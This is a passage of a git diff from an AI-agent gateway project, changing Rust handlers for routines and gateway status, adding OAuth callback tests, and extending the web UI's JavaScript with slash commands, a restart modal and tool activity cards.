(StatusCode, String)> { - let store = state.store.as_ref().ok_or(( - StatusCode::SERVICE_UNAVAILABLE, - "Database not available".to_string(), - ))?; + let engine = { + let guard = state.routine_engine.read().await; + guard.as_ref().cloned().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Routine engine not available".to_string(), + ))? + }; let routine_id = Uuid::parse_str(&id) .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid routine ID".to_string()))?; - let routine = store - .get_routine(routine_id) + let run_id = engine + .fire_manual(routine_id, Some(&state.user_id)) .await - .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))? - .ok_or((StatusCode::NOT_FOUND, "Routine not found".to_string()))?; - - // Send the routine prompt through the message pipeline as a manual trigger. - let prompt = match &routine.action { - crate::agent::routine::RoutineAction::Lightweight { prompt, .. } => prompt.clone(), - crate::agent::routine::RoutineAction::FullJob { - title, description, .. - } => format!("{}: {}", title, description), - }; - - let content = format!("[routine:{}] {}", routine.name, prompt); - let msg = IncomingMessage::new("gateway", &state.user_id, content); - - let tx_guard = state.msg_tx.read().await; - let tx = tx_guard.as_ref().ok_or(( - StatusCode::SERVICE_UNAVAILABLE, - "Channel not started".to_string(), - ))?; - - tx.send(msg).await.map_err(|_| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - "Channel closed".to_string(), - ) - })?; + .map_err(|e| { + let status = match &e { + crate::error::RoutineError::NotFound { .. } => StatusCode::NOT_FOUND, + crate::error::RoutineError::NotAuthorized { .. } => StatusCode::FORBIDDEN, + crate::error::RoutineError::Disabled { .. } + | crate::error::RoutineError::MaxConcurrent { .. } => StatusCode::CONFLICT, + _ => StatusCode::INTERNAL_SERVER_ERROR, + }; + (status, e.to_string()) + })?; Ok(Json(serde_json::json!({ "status": "triggered", "routine_id": routine_id, + "run_id": run_id, }))) } @@ -2337,7 +2124,7 @@ async fn routines_runs_handler( /// Convert a Routine to the trimmed RoutineInfo for list display. fn routine_to_info(r: &crate::agent::routine::Routine) -> RoutineInfo { let (trigger_type, trigger_summary) = match &r.trigger { - crate::agent::routine::Trigger::Cron { schedule } => { + crate::agent::routine::Trigger::Cron { schedule, .. } => { ("cron".to_string(), format!("cron: {}", schedule)) } crate::agent::routine::Trigger::Event { @@ -2517,18 +2304,65 @@ async fn gateway_status_handler( .map(|t| t.connection_count()) .unwrap_or(0); + let uptime_secs = state.startup_time.elapsed().as_secs(); + + let (daily_cost, actions_this_hour, model_usage) = if let Some(ref cg) = state.cost_guard { + let cost = cg.daily_spend().await; + let actions = cg.actions_this_hour().await; + let usage = cg.model_usage().await; + let models: Vec = usage + .into_iter() + .map(|(model, tokens)| ModelUsageEntry { + model, + input_tokens: tokens.input_tokens, + output_tokens: tokens.output_tokens, + cost: format!("{:.6}", tokens.cost), + }) + .collect(); + (Some(format!("{:.4}", cost)), Some(actions), Some(models)) + } else { + (None, None, None) + }; + + let restart_enabled = std::env::var("IRONCLAW_IN_DOCKER") + .map(|v| v.to_lowercase() == "true") + .unwrap_or(false); + Json(GatewayStatusResponse { + version: env!("CARGO_PKG_VERSION").to_string(), sse_connections, ws_connections, total_connections: sse_connections + ws_connections, + uptime_secs, + restart_enabled, + daily_cost, + actions_this_hour, + model_usage, }) } +#[derive(serde::Serialize)] +struct ModelUsageEntry { + model: String, + input_tokens: u64, + output_tokens: u64, + cost: String, +} + #[derive(serde::Serialize)] struct GatewayStatusResponse { + version: String, sse_connections: u64, ws_connections: u64, total_connections: u64, + uptime_secs: u64, + restart_enabled: bool, + #[serde(skip_serializing_if = "Option::is_none")] + daily_cost: Option, + #[serde(skip_serializing_if = "Option::is_none")] + actions_this_hour: Option, + #[serde(skip_serializing_if = "Option::is_none")] + model_usage: Option>, } #[cfg(test)] @@ -2610,4 +2444,348 @@ mod tests { let turns = build_turns_from_db_messages(&[]); assert!(turns.is_empty()); } + + // --- OAuth callback handler tests --- + + /// Build a minimal `GatewayState` for testing the OAuth callback handler. + fn test_gateway_state(ext_mgr: Option>) -> Arc { + Arc::new(GatewayState { + msg_tx: tokio::sync::RwLock::new(None), + sse: SseManager::new(), + workspace: None, + session_manager: None, + log_broadcaster: None, + log_level_handle: None, + extension_manager: ext_mgr, + tool_registry: None, + store: None, + job_manager: None, + prompt_queue: None, + user_id: "test".to_string(), + shutdown_tx: tokio::sync::RwLock::new(None), + ws_tracker: None, + llm_provider: None, + skill_registry: None, + skill_catalog: None, + scheduler: None, + chat_rate_limiter: RateLimiter::new(30, 60), + registry_entries: vec![], + cost_guard: None, + routine_engine: Arc::new(tokio::sync::RwLock::new(None)), + startup_time: std::time::Instant::now(), + }) + } + + /// Build a test router with just the OAuth callback route. + fn test_oauth_router(state: Arc) -> Router { + Router::new() + .route("/oauth/callback", get(oauth_callback_handler)) + .with_state(state) + } + + #[tokio::test] + async fn test_oauth_callback_missing_params() { + use axum::body::Body; + use tower::ServiceExt; + + let state = test_gateway_state(None); + let app = test_oauth_router(state); + + let req = axum::http::Request::builder() + .uri("/oauth/callback") + .body(Body::empty()) + .expect("request"); + + let resp = ServiceExt::>::oneshot(app, req) + .await + .expect("response"); + assert_eq!(resp.status(), StatusCode::OK); + + let body = axum::body::to_bytes(resp.into_body(), 1024 * 64) + .await + .expect("body"); + let html = String::from_utf8_lossy(&body); + assert!(html.contains("Authorization Failed")); + } + + #[tokio::test] + async fn test_oauth_callback_error_from_provider() { + use axum::body::Body; + use tower::ServiceExt; + + let state = test_gateway_state(None); + let app = test_oauth_router(state); + + let req = axum::http::Request::builder() + .uri("/oauth/callback?error=access_denied&error_description=access_denied") + .body(Body::empty()) + .expect("request"); + + let resp = ServiceExt::>::oneshot(app, req) + .await + .expect("response"); + assert_eq!(resp.status(), StatusCode::OK); + + let body = axum::body::to_bytes(resp.into_body(), 1024 * 64) + .await + .expect("body"); + let html = String::from_utf8_lossy(&body); + assert!(html.contains("Authorization Failed")); + } + + #[tokio::test] + async fn test_oauth_callback_unknown_state() { + use axum::body::Body; + use tower::ServiceExt; + + // Build an ExtensionManager so the handler can look up flows + let secrets = Arc::new(crate::secrets::InMemorySecretsStore::new(Arc::new( + crate::secrets::SecretsCrypto::new(secrecy::SecretString::from( + "test-key-at-least-32-chars-long!!".to_string(), + )) + .expect("crypto"), + ))); + let tool_registry = Arc::new(ToolRegistry::new()); + let mcp_sm = Arc::new(crate::tools::mcp::session::McpSessionManager::new()); + + let ext_mgr = Arc::new(ExtensionManager::new( + mcp_sm, + secrets, + tool_registry, + None, + None, + std::path::PathBuf::from("/tmp/wasm_tools"), + std::path::PathBuf::from("/tmp/wasm_channels"), + None, + "test".to_string(), + None, + vec![], + )); + + let state = test_gateway_state(Some(ext_mgr)); + let app = test_oauth_router(state); + + let req = axum::http::Request::builder() + .uri("/oauth/callback?code=test_code&state=unknown_state_value") + .body(Body::empty()) + .expect("request"); + + let resp = ServiceExt::>::oneshot(app, req) + .await + .expect("response"); + assert_eq!(resp.status(), StatusCode::OK); + + let body = axum::body::to_bytes(resp.into_body(), 1024 * 64) + .await + .expect("body"); + let html = String::from_utf8_lossy(&body); + assert!(html.contains("Authorization Failed")); + } + + #[tokio::test] + async fn test_oauth_callback_expired_flow() { + use axum::body::Body; + use tower::ServiceExt; + + let secrets: Arc = + Arc::new(crate::secrets::InMemorySecretsStore::new(Arc::new( + crate::secrets::SecretsCrypto::new(secrecy::SecretString::from( + "test-key-at-least-32-chars-long!!".to_string(), + )) + .expect("crypto"), + ))); + let tool_registry = Arc::new(ToolRegistry::new()); + let mcp_sm = Arc::new(crate::tools::mcp::session::McpSessionManager::new()); + + let ext_mgr = Arc::new(ExtensionManager::new( + mcp_sm, + secrets.clone(), + tool_registry, + None, + None, + std::path::PathBuf::from("/tmp/wasm_tools"), + std::path::PathBuf::from("/tmp/wasm_channels"), + None, + "test".to_string(), + None, + vec![], + )); + + // Insert an expired flow (created 10 minutes ago) + let flow = crate::cli::oauth_defaults::PendingOAuthFlow { + extension_name: "test_tool".to_string(), + display_name: "Test Tool".to_string(), + token_url: "https://example.com/token".to_string(), + client_id: "client123".to_string(), + client_secret: None, + redirect_uri: "https://example.com/oauth/callback".to_string(), + code_verifier: None, + access_token_field: "access_token".to_string(), + secret_name: "test_token".to_string(), + provider: None, + validation_endpoint: None, + scopes: vec![], + user_id: "test".to_string(), + secrets, + sse_sender: None, + gateway_token: None, + created_at: std::time::Instant::now() + .checked_sub(std::time::Duration::from_secs(600)) + .expect("System uptime is too low to run expired flow test"), + }; + + ext_mgr + .pending_oauth_flows() + .write() + .await + .insert("expired_state".to_string(), flow); + + let state = test_gateway_state(Some(ext_mgr)); + let app = test_oauth_router(state); + + let req = axum::http::Request::builder() + .uri("/oauth/callback?code=test_code&state=expired_state") + .body(Body::empty()) + .expect("request"); + + let resp = ServiceExt::>::oneshot(app, req) + .await + .expect("response"); + assert_eq!(resp.status(), StatusCode::OK); + + let body = axum::body::to_bytes(resp.into_body(), 1024 * 64) + .await + .expect("body"); + let html = String::from_utf8_lossy(&body); + // Expired flow → error landing page + assert!(html.contains("Authorization Failed")); + } + + #[tokio::test] + async fn test_oauth_callback_no_extension_manager() { + use axum::body::Body; + use tower::ServiceExt; + + // No extension manager set → graceful error + let state = test_gateway_state(None); + let app = test_oauth_router(state); + + let req = axum::http::Request::builder() + .uri("/oauth/callback?code=test_code&state=some_state") + .body(Body::empty()) + .expect("request"); + + let resp = ServiceExt::>::oneshot(app, req) + .await + .expect("response"); + assert_eq!(resp.status(), StatusCode::OK); + + let body = axum::body::to_bytes(resp.into_body(), 1024 * 64) + .await + .expect("body"); + let html = String::from_utf8_lossy(&body); + assert!(html.contains("Authorization Failed")); + } + + #[tokio::test] + async fn test_oauth_callback_strips_instance_prefix() { + use axum::body::Body; + use tower::ServiceExt; + + let secrets: Arc = + Arc::new(crate::secrets::InMemorySecretsStore::new(Arc::new( + crate::secrets::SecretsCrypto::new(secrecy::SecretString::from( + "test-key-at-least-32-chars-long!!".to_string(), + )) + .expect("crypto"), + ))); + let tool_registry = Arc::new(ToolRegistry::new()); + let mcp_sm = Arc::new(crate::tools::mcp::session::McpSessionManager::new()); + + let ext_mgr = Arc::new(ExtensionManager::new( + mcp_sm, + secrets.clone(), + tool_registry, + None, + None, + std::path::PathBuf::from("/tmp/wasm_tools"), + std::path::PathBuf::from("/tmp/wasm_channels"), + None, + "test".to_string(), + None, + vec![], + )); + + // Insert a flow keyed by raw nonce "test_nonce" (without instance prefix). + // Use an expired flow so the handler exits before attempting a real HTTP + // token exchange — we only need to verify that the instance prefix was + // stripped and the flow was found by the raw nonce. + let flow = crate::cli::oauth_defaults::PendingOAuthFlow { + extension_name: "test_tool".to_string(), + display_name: "Test Tool".to_string(), + token_url: "https://example.com/token".to_string(), + client_id: "client123".to_string(), + client_secret: None, + redirect_uri: "https://example.com/oauth/callback".to_string(), + code_verifier: None, + access_token_field: "access_token".to_string(), + secret_name: "test_token".to_string(), + provider: None, + validation_endpoint: None, + scopes: vec![], + user_id: "test".to_string(), + secrets, + sse_sender: None, + gateway_token: None, + // Expired — handler will reject after lookup (no network I/O) + created_at: std::time::Instant::now() + .checked_sub(std::time::Duration::from_secs(600)) + .expect("System uptime is too low to run expired flow test"), + }; + + ext_mgr + .pending_oauth_flows() + .write() + .await + .insert("test_nonce".to_string(), flow); + + let state = test_gateway_state(Some(ext_mgr.clone())); + let app = test_oauth_router(state); + + // Send callback with instance prefix: "myinstance:test_nonce" + // The handler should strip "myinstance:" and find the flow keyed by "test_nonce" + let req = axum::http::Request::builder() + .uri("/oauth/callback?code=fake_code&state=myinstance:test_nonce") + .body(Body::empty()) + .expect("request"); + + let resp = ServiceExt::>::oneshot(app, req) + .await + .expect("response"); + assert_eq!(resp.status(), StatusCode::OK); + + let body = axum::body::to_bytes(resp.into_body(), 1024 * 64) + .await + .expect("body"); + let html = String::from_utf8_lossy(&body); + + // The flow was found (stripped prefix matched) but is expired, so the + // handler returns an error landing page. The flow being consumed from + // the registry (checked below) proves the prefix was stripped correctly. + assert!( + html.contains("Authorization Failed"), + "Expected error page, html was: {}", + &html[..html.len().min(500)] + ); + + // Verify the flow was consumed (removed from registry) + assert!( + ext_mgr + .pending_oauth_flows() + .read() + .await + .get("test_nonce") + .is_none() + ); + } } diff --git a/src/channels/web/sse.rs b/src/channels/web/sse.rs index 120a7103..e1e2b270 100644 --- a/src/channels/web/sse.rs +++ b/src/channels/web/sse.rs @@ -36,12 +36,34 @@ impl SseManager { } } + /// Create an SSE manager that reuses an existing broadcast sender. + /// + /// This preserves the broadcast channel across `rebuild_state` calls so + /// that sender handles captured by other components remain valid. + /// + /// **Important:** The connection counter is reset to zero. This method must + /// only be called before the server starts accepting connections (i.e., + /// during startup wiring). Calling it after connections are established + /// will break connection tracking and allow exceeding `MAX_CONNECTIONS`. + pub fn from_sender(tx: broadcast::Sender) -> Self { + Self { + tx, + connection_count: Arc::new(AtomicU64::new(0)), + max_connections: MAX_CONNECTIONS, + } + } + /// Broadcast an event to all connected clients. pub fn broadcast(&self, event: SseEvent) { // Ignore send errors (no receivers is fine) let _ = self.tx.send(event); } + /// Get a clone of the broadcast sender for use by other components. + pub fn sender(&self) -> broadcast::Sender { + self.tx.clone() + } + /// Get current number of active connections. pub fn connection_count(&self) -> u64 { self.connection_count.load(Ordering::Relaxed) @@ -120,6 +142,7 @@ impl SseManager { SseEvent::JobStatus { .. } => "job_status", SseEvent::JobResult { .. } => "job_result", SseEvent::Heartbeat => "heartbeat", + SseEvent::ExtensionStatus { .. } => "extension_status", }; Ok(Event::default().event(event_type).data(data)) }); diff --git a/src/channels/web/static/app.js b/src/channels/web/static/app.js index 398f2f54..68b803f9 100644 --- a/src/channels/web/static/app.js +++ b/src/channels/web/static/app.js @@ -5,15 +5,50 @@ let eventSource = null; let logEventSource = null; let currentTab = 'chat'; let currentThreadId = null; +let currentThreadIsReadOnly = false; let assistantThreadId = null; let hasMore = false; let oldestTimestamp = null; let loadingOlder = false; +let sseHasConnectedBefore = false; let jobEvents = new Map(); // job_id -> Array of events let jobListRefreshTimer = null; +let pairingPollInterval = null; +let unreadThreads = new Map(); // thread_id -> unread count +let _loadThreadsTimer = null; const JOB_EVENTS_CAP = 500; const MEMORY_SEARCH_QUERY_MAX_LENGTH = 100; +// --- Slash Commands --- + +const SLASH_COMMANDS = [ + { cmd: '/status', desc: 'Show all jobs, or /status for one job' }, + { cmd: '/list', desc: 'List all jobs' }, + { cmd: '/cancel', desc: '/cancel — cancel a running job' }, + { cmd: '/undo', desc: 'Revert the last turn' }, + { cmd: '/redo', desc: 'Re-apply an undone turn' }, + { cmd: '/compact', desc: 'Compress the context window' }, + { cmd: '/clear', desc: 'Clear thread and start fresh' }, + { cmd: '/interrupt', desc: 'Stop the current turn' }, + { cmd: '/heartbeat', desc: 'Trigger manual heartbeat check' }, + { cmd: '/summarize', desc: 'Summarize the current thread' }, + { cmd: '/suggest', desc: 'Suggest next steps' }, + { cmd: '/help', desc: 'Show help' }, + { cmd: '/version', desc: 'Show version info' }, + { cmd: '/tools', desc: 'List available tools' }, + { cmd: '/skills', desc: 'List installed skills' }, + { cmd: '/model', desc: 'Show or switch the LLM model' }, + { cmd: '/thread new', desc: 'Create a new conversation thread' }, +]; + +let _slashSelected = -1; +let _slashMatches = []; + +// --- Tool Activity State --- +let _activeGroup = null; +let _activeToolCards = {}; +let _activityThinking = null; + // --- Auth --- function authenticate() { @@ -29,16 +64,25 @@ function authenticate() { sessionStorage.setItem('ironclaw_token', token); document.getElementById('auth-screen').style.display = 'none'; document.getElementById('app').style.display = 'flex'; - // Strip token from URL so it's not visible in the address bar + // Strip token and log_level from URL so they're not visible in the address bar const cleaned = new URL(window.location); + const urlLogLevel = cleaned.searchParams.get('log_level'); cleaned.searchParams.delete('token'); + cleaned.searchParams.delete('log_level'); window.history.replaceState({}, '', cleaned.pathname + cleaned.search); connectSSE(); connectLogSSE(); startGatewayStatusPolling(); + checkTeeStatus(); loadThreads(); loadMemoryTree(); loadJobs(); + // Apply URL log_level param if present, otherwise just sync the dropdown + if (urlLogLevel) { + setServerLogLevel(urlLogLevel); + } else { + loadServerLogLevel(); + } }) .catch(() => { sessionStorage.removeItem('ironclaw_token'); @@ -83,11 +127,120 @@ function apiFetch(path, options) { opts.body = JSON.stringify(opts.body); } return fetch(path, opts).then((res) => { - if (!res.ok) throw new Error(res.status + ' ' + res.statusText); + if (!res.ok) { + return res.text().then(function(body) { + throw new Error(body || (res.status + ' ' + res.statusText)); + }); + } return res.json(); }); } +// --- Restart Feature --- + +let isRestarting = false; // Track if we're currently restarting +let restartEnabled = false; // Track if restart is available in this deployment + +function triggerRestart() { + if (!currentThreadId) { + alert('Please start a conversation first'); + return; + } + + // Show the confirmation modal + const confirmModal = document.getElementById('restart-confirm-modal'); + confirmModal.style.display = 'flex'; +} + +function confirmRestart() { + if (!currentThreadId) { + alert('Please start a conversation first'); + return; + } + + // Hide confirmation modal + const confirmModal = document.getElementById('restart-confirm-modal'); + confirmModal.style.display = 'none'; + + const restartBtn = document.getElementById('restart-btn'); + const restartIcon = document.getElementById('restart-icon'); + + // Mark as restarting + isRestarting = true; + restartBtn.disabled = true; + if (restartIcon) restartIcon.classList.add('spinning'); + + // Show progress modal + const loaderEl = document.getElementById('restart-loader'); + loaderEl.style.display = 'flex'; + + // Send restart command via chat + console.log('[confirmRestart] Sending /restart command to server'); + apiFetch('/api/chat/send', { + method: 'POST', + body: { + content: '/restart', + thread_id: currentThreadId, + timezone: Intl.DateTimeFormat().resolvedOptions().timeZone, + }, + }) + .then((response) => { + console.log('[confirmRestart] API call succeeded, response:', response); + }) + .catch((err) => { + console.error('[confirmRestart] Restart request failed:', err); + addMessage('system', 'Restart failed: ' + err.message); + isRestarting = false; + restartBtn.disabled = false; + if (restartIcon) restartIcon.classList.remove('spinning'); + loaderEl.style.display = 'none'; + }); +} + +function cancelRestart() { + const confirmModal = document.getElementById('restart-confirm-modal'); + confirmModal.style.display = 'none'; +} + +function tryShowRestartModal() { + // Defensive callback for when restart is detected in messages. + if (!isRestarting) { + isRestarting = true; + const restartBtn = document.getElementById('restart-btn'); + const restartIcon = document.getElementById('restart-icon'); + restartBtn.disabled = true; + if (restartIcon) restartIcon.classList.add('spinning'); + + // Show progress modal + const loaderEl = document.getElementById('restart-loader'); + loaderEl.style.display = 'flex'; + } +} + +function updateRestartButtonVisibility() { + const restartBtn = document.getElementById('restart-btn'); + if (restartBtn) { + restartBtn.style.display = restartEnabled ? 'block' : 'none'; + } +} + +function startGatewayStatusPolling() { + fetchGatewayStatus(); + // Poll every 5 seconds + setInterval(fetchGatewayStatus, 5000); +} + +function fetchGatewayStatus() { + apiFetch('/api/gateway/status') + .then((data) => { + restartEnabled = data.restart_enabled || false; + updateRestartButtonVisibility(); + }) + .catch((err) => { + console.warn('[gateway status] Failed to fetch:', err); + }); +} + // --- SSE --- function connectSSE() { @@ -98,6 +251,23 @@ function connectSSE() { eventSource.onopen = () => { document.getElementById('sse-dot').classList.remove('disconnected'); document.getElementById('sse-status').textContent = 'Connected'; + + // If we were restarting, close the modal and reset button now that server is back + if (isRestarting) { + const loaderEl = document.getElementById('restart-loader'); + if (loaderEl) loaderEl.style.display = 'none'; + const restartBtn = document.getElementById('restart-btn'); + const restartIcon = document.getElementById('restart-icon'); + if (restartBtn) restartBtn.disabled = false; + if (restartIcon) restartIcon.classList.remove('spinning'); + isRestarting = false; + } + + if (sseHasConnectedBefore && currentThreadId) { + finalizeActivityGroup(); + loadHistory(); + } + sseHasConnectedBefore = true; }; eventSource.onerror = () => { @@ -107,47 +277,76 @@ function connectSSE() { eventSource.addEventListener('response', (e) => { const data = JSON.parse(e.data); - if (!isCurrentThread(data.thread_id)) return; + if (!isCurrentThread(data.thread_id)) { + if (data.thread_id) { + unreadThreads.set(data.thread_id, (unreadThreads.get(data.thread_id) || 0) + 1); + debouncedLoadThreads(); + } + return; + } + finalizeActivityGroup(); addMessage('assistant', data.content); - setStatus(''); enableChatInput(); // Refresh thread list so new titles appear after first message loadThreads(); + + // Show restart modal if the response indicates restart was initiated + if (data.content && data.content.toLowerCase().includes('restart initiated')) { + setTimeout(() => tryShowRestartModal(), 500); + } }); eventSource.addEventListener('thinking', (e) => { const data = JSON.parse(e.data); - if (!isCurrentThread(data.thread_id)) return; - setStatus(data.message, true); + if (!isCurrentThread(data.thread_id)) { + if (data.thread_id) debouncedLoadThreads(); + return; + } + showActivityThinking(data.message); }); eventSource.addEventListener('tool_started', (e) => { const data = JSON.parse(e.data); if (!isCurrentThread(data.thread_id)) return; - setStatus('Running tool: ' + data.name, true); + addToolCard(data.name); }); eventSource.addEventListener('tool_completed', (e) => { const data = JSON.parse(e.data); if (!isCurrentThread(data.thread_id)) return; - const icon = data.success ? '\u2713' : '\u2717'; - setStatus('Tool ' + data.name + ' ' + icon); + completeToolCard(data.name, data.success, data.error, data.parameters); + + // Show restart modal only when the restart tool succeeds + if (data.name.toLowerCase() === 'restart' && data.success) { + setTimeout(() => tryShowRestartModal(), 500); + } + }); + + eventSource.addEventListener('tool_result', (e) => { + const data = JSON.parse(e.data); + if (!isCurrentThread(data.thread_id)) return; + setToolCardOutput(data.name, data.preview); }); eventSource.addEventListener('stream_chunk', (e) => { const data = JSON.parse(e.data); if (!isCurrentThread(data.thread_id)) return; + finalizeActivityGroup(); appendToLastAssistant(data.content); }); eventSource.addEventListener('status', (e) => { const data = JSON.parse(e.data); - if (!isCurrentThread(data.thread_id)) return; - setStatus(data.message); + if (!isCurrentThread(data.thread_id)) { + if (data.thread_id) debouncedLoadThreads(); + return; + } // "Done" and "Awaiting approval" are terminal signals from the agent: // the agentic loop finished, so re-enable input as a safety net in case // the response SSE event is empty or lost. + // Status text is not displayed — inline activity cards handle visual feedback. if (data.message === 'Done' || data.message === 'Awaiting approval') { + finalizeActivityGroup(); enableChatInput(); } }); @@ -159,25 +358,42 @@ function connectSSE() { eventSource.addEventListener('approval_needed', (e) => { const data = JSON.parse(e.data); + if (!isCurrentThread(data.thread_id)) return; showApproval(data); }); eventSource.addEventListener('auth_required', (e) => { const data = JSON.parse(e.data); - showAuthCard(data); + if (data.auth_url) { + // OAuth flow: show the auth card with an OAuth button + optional token paste field. + showAuthCard(data); + } else { + // Setup flow: fetch the extension's credential schema and show the multi-field + // configure modal (the same UI used by the Extensions tab "Setup" button). + showConfigureModal(data.extension_name); + } }); eventSource.addEventListener('auth_completed', (e) => { const data = JSON.parse(e.data); + // Dismiss whichever UI path was active: auth card (OAuth) or configure modal (setup). removeAuthCard(data.extension_name); - showToast(data.message, 'success'); + closeConfigureModal(); + showToast(data.message, data.success ? 'success' : 'error'); + // Refresh extensions list so status indicators update + if (currentTab === 'extensions') loadExtensions(); enableChatInput(); }); + eventSource.addEventListener('extension_status', (e) => { + if (currentTab === 'extensions') loadExtensions(); + }); + eventSource.addEventListener('error', (e) => { if (e.data) { const data = JSON.parse(e.data); if (!isCurrentThread(data.thread_id)) return; + finalizeActivityGroup(); addMessage('system', 'Error: ' + data.message); enableChatInput(); } @@ -214,9 +430,9 @@ function connectSSE() { } // Check if an SSE event belongs to the currently viewed thread. -// Events without a thread_id (legacy) are always shown. +// Events without a thread_id are dropped (prevents notification leaking). function isCurrentThread(threadId) { - if (!threadId) return true; + if (!threadId) return false; if (!currentThreadId) return true; return threadId === currentThreadId; } @@ -225,34 +441,99 @@ function isCurrentThread(threadId) { function sendMessage() { const input = document.getElementById('chat-input'); - const sendBtn = document.getElementById('send-btn'); + if (!currentThreadId) { + console.warn('sendMessage: no thread selected, ignoring'); + return; + } const content = input.value.trim(); if (!content) return; addMessage('user', content); input.value = ''; autoResizeTextarea(input); - setStatus('Sending...', true); - - sendBtn.disabled = true; - input.disabled = true; + input.focus(); apiFetch('/api/chat/send', { method: 'POST', - body: { content, thread_id: currentThreadId || undefined }, + body: { content, thread_id: currentThreadId || undefined, timezone: Intl.DateTimeFormat().resolvedOptions().timeZone }, }).catch((err) => { addMessage('system', 'Failed to send: ' + err.message); - setStatus(''); - enableChatInput(); }); } function enableChatInput() { + if (currentThreadIsReadOnly) return; const input = document.getElementById('chat-input'); - const sendBtn = document.getElementById('send-btn'); - sendBtn.disabled = false; - input.disabled = false; + const btn = document.getElementById('send-btn'); + if (input) { + input.disabled = false; + input.placeholder = 'Message or / for commands...'; + } + if (btn) btn.disabled = false; +} + +// --- Slash Autocomplete --- + +function showSlashAutocomplete(matches) { + const el = document.getElementById('slash-autocomplete'); + if (!el || matches.length === 0) { hideSlashAutocomplete(); return; } + _slashMatches = matches; + _slashSelected = -1; + el.innerHTML = ''; + matches.forEach((item, i) => { + const row = document.createElement('div'); + row.className = 'slash-ac-item'; + row.dataset.index = i; + var cmdSpan = document.createElement('span'); + cmdSpan.className = 'slash-ac-cmd'; + cmdSpan.textContent = item.cmd; + var descSpan = document.createElement('span'); + descSpan.className = 'slash-ac-desc'; + descSpan.textContent = item.desc; + row.appendChild(cmdSpan); + row.appendChild(descSpan); + row.addEventListener('mousedown', (e) => { + e.preventDefault(); // prevent blur + selectSlashItem(item.cmd); + }); + el.appendChild(row); + }); + el.style.display = 'block'; +} + +function hideSlashAutocomplete() { + const el = document.getElementById('slash-autocomplete'); + if (el) el.style.display = 'none'; + _slashSelected = -1; + _slashMatches = []; +} + +function selectSlashItem(cmd) { + const input = document.getElementById('chat-input'); + input.value = cmd + ' '; input.focus(); + hideSlashAutocomplete(); + autoResizeTextarea(input); +} + +function updateSlashHighlight() { + const items = document.querySelectorAll('#slash-autocomplete .slash-ac-item'); + items.forEach((el, i) => el.classList.toggle('selected', i === _slashSelected)); + if (_slashSelected >= 0 && items[_slashSelected]) { + items[_slashSelected].scrollIntoView({ block: 'nearest' }); + } +} + +function filterSlashCommands(value) { + if (!value.startsWith('/')) { hideSlashAutocomplete(); return; } + // Only show autocomplete when the input is just a slash command prefix (no spaces except /thread new) + const lower = value.toLowerCase(); + const matches = SLASH_COMMANDS.filter((c) => c.cmd.startsWith(lower)); + if (matches.length === 0 || (matches.length === 1 && matches[0].cmd === lower.trimEnd())) { + hideSlashAutocomplete(); + } else { + showSlashAutocomplete(matches); + } } function sendApprovalAction(requestId, action) { @@ -276,11 +557,20 @@ function sendApprovalAction(requestId, action) { const labelText = action === 'approve' ? 'Approved' : action === 'always' ? 'Always approved' : 'Denied'; label.textContent = labelText; actions.appendChild(label); + // Remove the card after showing the confirmation briefly + setTimeout(() => { card.remove(); }, 1500); } } function renderMarkdown(text) { if (typeof marked !== 'undefined') { + // Escape raw HTML error pages instead of rendering them as markup. + // Only triggers when the text *starts with* a doctype or tag + // (after optional whitespace), so normal messages that mention HTML + // tags in prose or code fences are not affected. See #263. + if (/^\s*]/i.test(text)) { + return escapeHtml(text); + } let html = marked.parse(text); // Sanitize HTML output to prevent XSS from tool output or LLM responses. html = sanitizeRenderedHtml(html); @@ -351,13 +641,251 @@ function appendToLastAssistant(chunk) { } } -function setStatus(text, spinning) { - const el = document.getElementById('chat-status'); - if (!text) { - el.innerHTML = ''; +// --- Inline Tool Activity Cards --- + +function getOrCreateActivityGroup() { + if (_activeGroup) return _activeGroup; + const container = document.getElementById('chat-messages'); + const group = document.createElement('div'); + group.className = 'activity-group'; + container.appendChild(group); + container.scrollTop = container.scrollHeight; + _activeGroup = group; + _activeToolCards = {}; + return group; +} + +function showActivityThinking(message) { + const group = getOrCreateActivityGroup(); + if (_activityThinking) { + // Already exists — just update text and un-hide + _activityThinking.style.display = ''; + _activityThinking.querySelector('.activity-thinking-text').textContent = message; + } else { + _activityThinking = document.createElement('div'); + _activityThinking.className = 'activity-thinking'; + _activityThinking.innerHTML = + '' + + '' + + '' + + '' + + '' + + ''; + group.appendChild(_activityThinking); + _activityThinking.querySelector('.activity-thinking-text').textContent = message; + } + const container = document.getElementById('chat-messages'); + container.scrollTop = container.scrollHeight; +} + +function removeActivityThinking() { + if (_activityThinking) { + _activityThinking.remove(); + _activityThinking = null; + } +} + +function addToolCard(name) { + // Hide thinking instead of destroying — it may reappear between tool rounds + if (_activityThinking) _activityThinking.style.display = 'none'; + const group = getOrCreateActivityGroup(); + + const card = document.createElement('div'); + card.className = 'activity-tool-card'; + card.setAttribute('data-tool-name', name); + card.setAttribute('data-status', 'running'); + + const header = document.createElement('div'); + header.className = 'activity-tool-header'; + + const icon = document.createElement('span'); + icon.className = 'activity-tool-icon'; + icon.innerHTML = ''; + + const toolName = document.createElement('span'); + toolName.className = 'activity-tool-name'; + toolName.textContent = name; + + const duration = document.createElement('span'); + duration.className = 'activity-tool-duration'; + duration.textContent = ''; + + const chevron = document.createElement('span'); + chevron.className = 'activity-tool-chevron'; + chevron.innerHTML = '▸'; + + header.appendChild(icon); + header.appendChild(toolName); + header.appendChild(duration); + header.appendChild(chevron); + + const body = document.createElement('div'); + body.className = 'activity-tool-body'; + body.style.display = 'none'; + + const output = document.createElement('pre'); + output.className = 'activity-tool-output'; + body.appendChild(output); + + header.addEventListener('click', () => { + const isOpen = body.style.display !== 'none'; + body.style.display = isOpen ? 'none' : 'block'; + chevron.classList.toggle('expanded', !isOpen); + }); + + card.appendChild(header); + card.appendChild(body); + group.appendChild(card); + + const startTime = Date.now(); + const timerInterval = setInterval(() => { + const elapsed = (Date.now() - startTime) / 1000; + if (elapsed > 300) { clearInterval(timerInterval); return; } + duration.textContent = elapsed < 10 ? elapsed.toFixed(1) + 's' : Math.floor(elapsed) + 's'; + }, 100); + + if (!_activeToolCards[name]) _activeToolCards[name] = []; + _activeToolCards[name].push({ card, startTime, timer: timerInterval, duration, icon, finalDuration: null }); + + const container = document.getElementById('chat-messages'); + container.scrollTop = container.scrollHeight; +} + +function completeToolCard(name, success, error, parameters) { + const entries = _activeToolCards[name]; + if (!entries || 